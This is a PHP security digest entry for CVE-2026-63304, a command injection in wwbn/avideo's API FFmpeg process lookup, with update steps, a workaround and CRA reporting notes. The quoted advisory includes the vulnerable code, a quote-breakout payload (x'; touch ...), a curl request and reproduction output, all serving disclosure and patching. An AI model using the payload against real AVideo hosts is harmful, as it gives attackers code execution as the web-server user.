PatchClock

PHP security digest · 23 Nov 2026

AVideo API vulnerable to OS command injection through an unescaped FFmpeg process keyword

High CVE-2026-63304

Package
wwbn/avideo
Fixed in
29.1.0
Published
Mon 23 Nov 2026, 22:06 LisbonUpdated Thu 3 Dec 2026, 00:45 Lisbon
Installs on Packagist
49

In plain words

An attacker who can supply a valid encrypted API payload and a valid APISecret can run operating system commands as the web-server user. The flaw is in the API's FFmpeg process lookup and can allow site data to be read or changed and database access to be compromised. No interactive login is required, and the affected modes are not restricted to standalone instances.

Affected versions

PackageAffectedFixed in
wwbn/avideo< 29.1.029.1.0

How serious is it?

High is a CVSS score of 7.0 to 8.9: serious impact with few preconditions. Plan the update within days, ahead of feature work, and check the logs for signs it was tried.

wwbn/avideo has 49 installs on Packagist, so the advisory reaches a modest number of projects, which does not make yours any safer.

Am I affected?

Check composer.lock for wwbn/avideo below 29.1.0; 29.1.0 is fixed. Check whether the API plugin is enabled and plugin/API/standAlone/ffmpeg.json.php is reachable, including its list and isKeywordRunning modes. Exploitation requires a valid APISecret and a valid encrypted codeToExec payload. Non-standalone instances are also affected.

Did you install wwbn/avideo, or did a dependency?

Composer says why a package is in your project:

composer why wwbn/avideo

If the output names your own project, you required wwbn/avideo directly and the update is yours to make. If it names another package, wwbn/avideo came in through it, and that package's version constraint decides which release you can install. To see what stands between you and the fix, ask Composer directly:

composer why-not wwbn/avideo 29.1.0

Every line it prints is a constraint that blocks 29.1.0. Update the package it names, or raise your own constraint, and run it again until it prints nothing.

What to do

Check which version you have, then update to a fixed release for your branch (29.1.0):

composer show wwbn/avideo | grep versions
composer update wwbn/avideo

If your version constraint in composer.json keeps you below a fixed release, raise it first. Whether your configuration is affected, and the exact version ranges, are in the advisory itself.

If you cannot update yet

Escape the keyword with escapeshellarg() at the shell boundary in listFFmpegProcesses() in plugin/API/standAlone/functions.php. Alternatively, make the list and isKeywordRunning callers pass the already-allowlisted $keyword rather than the raw decrypted field. The advisory prefers escaping inside the helper because it protects every caller.

Check the whole project at once

Composer 2.4 and later can list every installed package with a known advisory, this one included once Packagist has it:

composer audit --locked

--locked reads composer.lock instead of the vendor folder, so you can run it on a release tag or in CI without installing anything. It exits with a non-zero code when it finds an advisory, which is enough to fail a build. Run it on every branch you still support, not only the newest: an older release your customers run is affected in the same way.

Under the Cyber Resilience Act

CRA Article 14 timeline: aware of exploitation at hour 0, early warning within 24 hours, notification within 72 hours, final report within 14 days after the fix.

No exploitation of this vulnerability is known, so on its own it does not start the Article 14 reporting clock, which covers actively exploited vulnerabilities. That changes if you learn it is being exploited through your product: then the 24-hour early warning applies.

Either way, if wwbn/avideo ships inside a product you sell, the CRA treats its vulnerabilities as yours. Article 13(5) asks for due diligence on the components you include, and from 11 December 2027 Annex I asks you to ship security fixes without delay and free of charge for the support period you declared. A short note in your changelog saying which release updated wwbn/avideo, and why, is the evidence you will want later.

What goes in each Article 14 report · Does the CRA apply to your product?

wwbn/avideo's record

This is one of 2 advisories for wwbn/avideo in the digest, the first published on 23 November 2026. A package with several advisories is not worse than one with none, which often just means nobody looked; it does tell you to keep it on your update list and to run composer audit after each update.

Other advisories for wwbn/avideo

  • CVE-2026-63305 · 24 Nov 2026 · High · fixed in 29.1.0 AVideo API FFmpeg process permits OS command injection via notifyCode/callback

The advisory's description

Summary

The helper listFFmpegProcesses($keyword) in plugin/API/standAlone/functions.php builds a shell pipeline by interpolating $keyword inside single quotes and running it with exec():

$command .= " | grep '$keyword'";
exec($command, $output, $status);

The two callers in plugin/API/standAlone/ffmpeg.json.php (the list mode and the isKeywordRunning mode) pass the RAW decrypted codeToExec field, not the sanitized $keyword variable that the endpoint allowlists elsewhere. Because the value is placed inside a single-quoted shell context with no escaping, a payload that closes the quote (for example x'; touch /tmp/marker #) breaks out and injects an arbitrary command that runs via exec()'s /bin/sh -c. An attacker who can craft a valid encrypted payload achieves OS command execution as the web-server user.

Vulnerable code

Sink — plugin/API/standAlone/functions.php, listFFmpegProcesses() (around lines 139-147):

function listFFmpegProcesses($keyword = '')
{
    $command = "ps -eo pid,etime,%cpu,%mem,cmd | grep '[f]fmpeg'";

    if (!empty($keyword)) {
        $command .= " | grep '$keyword'";   // $keyword interpolated inside single quotes, unescaped
    }

    exec($command, $output, $status);       // runs via /bin/sh -c

Callers — plugin/API/standAlone/ffmpeg.json.php pass the RAW decrypted field, bypassing the allowlisting applied to the local $keyword variable. That local variable is built at line ~136 as $keyword = preg_replace('/[^a-zA-Z0-9_-]/', '', $codeToExec->keyword), but the two callers below never use it:

// list mode (line ~221)
$list = listFFmpegProcesses($codeToExec->keyword);

// isKeywordRunning mode (line ~341)
$list = listFFmpegProcesses($codeToExec->isKeywordRunning);

Neither mode is gated by the $isStandAlone check that guards the deleteFolder / deleteFile modes, so both run on any AVideo instance.

Reachability

Reached by sending a codeToExec payload with either list = 1 and a malicious keyword, or with a malicious isKeywordRunning value. Both modes call listFFmpegProcesses() with the raw field before any allowlist is applied to it.

Privilege required

Same trust boundary as the parent command-injection fix in this endpoint: an attacker who can craft a valid encrypted codeToExec payload with a valid APISecret. _decryptString() calls the platform decryptString API (AES-256-CBC; key = hash('sha256', $global['saltV2']), iv = substr(hash('sha256', $global['systemRootPath']), 0, 16)), and the payload is accepted when payload->time is within the last 30 seconds. No interactive login is required.

Reproduction (end-to-end, against master HEAD)

Deployed the master HEAD source (commit 8eaca9d5, dated 2026-06-30) in a PHP 8.2 / Apache container backed by MySQL 8.0, ran the genuine platform installer, enabled the API plugin, and confirmed the decryptString / isAPISecretValid platform APIs live over HTTP. APISecret is md5($global['salt'] . $global['systemRootPath'] . 'API').

A codeToExec was encrypted (encryptString()) with:

  • time = now
  • list = 1
  • keyword = x'; touch /tmp/avideo_kw_rce_1782909694_20509 #

POST:

curl -s -X POST "http://<host>/plugin/API/standAlone/ffmpeg.json.php" \
  --data-urlencode "APISecret=<APISecret>" \
  --data-urlencode "codeToExecEncrypted=<encrypted codeToExec>"

Verbatim response (normal list output while the injection ran as a side effect):

{"error":false,"msg":"","list":[]}

The injected touch ran (marker created by the web-server user):

-rw-r--r-- 1 www-data www-data 0 Jul  1 12:41 /tmp/avideo_kw_rce_1782909694_20509

Same result through the isKeywordRunning mode (payload x'; touch /tmp/avideo_ikr_rce_1782909715_3303 #):

{"error":true,"msg":"No FFmpeg process found with the given keyword","isRunning":false,"keyword":"x'; touch /tmp/avideo_ikr_rce_1782909715_3303 #"}
-rw-r--r-- 1 www-data www-data 0 Jul  1 12:41 /tmp/avideo_ikr_rce_1782909715_3303

Negative control (benign alphanumeric keyword benignkw123, list mode): same code path, marker NOT created:

{"error":false,"msg":"","list":[]}
ls: cannot access '/tmp/avideo_kwneg_1782909713_28529': No such file or directory

Patched re-run (after applying escapeshellarg() as below): the injection is neutralized and the marker is NOT created:

{"error":false,"msg":"","list":[]}
ls: cannot access '/tmp/avideo_kw_rce_PATCHED_1782909782_8294': No such file or directory

Impact

Arbitrary OS command execution on the AVideo host as the web-server user (the account that owns the application files, configuration, database credentials, and saltV2). An attacker can read and modify site data, pivot to the database, and persist. This is a distinct sink (the grep single-quote breakout in listFFmpegProcesses) from the completion-hook concatenation elsewhere in the same endpoint, and it is reachable through two different modes.

Suggested fix

Escape the keyword at the shell boundary in listFFmpegProcesses():

if (!empty($keyword)) {
    $command .= " | grep " . escapeshellarg($keyword);
}

Alternatively, have the list / isKeywordRunning callers pass the already-allowlisted $keyword value instead of the raw decrypted field. Escaping inside listFFmpegProcesses() is preferred because it protects every caller.

Credit

Reported by tonghuaroot.

Weakness: CWE-78 Improper Neutralization of Special Elements used in an OS Command. Reported by tonghuaroot.

The advisory

From OSV.dev, which gathers the GitHub Advisory Database, FriendsOfPHP and Drupal security advisories; the summary is theirs. The description, affected versions, weakness and credits are from the GitHub Advisory Database (CC BY 4.0). "In plain words", "Am I affected?" and "If you cannot update yet" are based on that advisory, and checked to name no version it does not.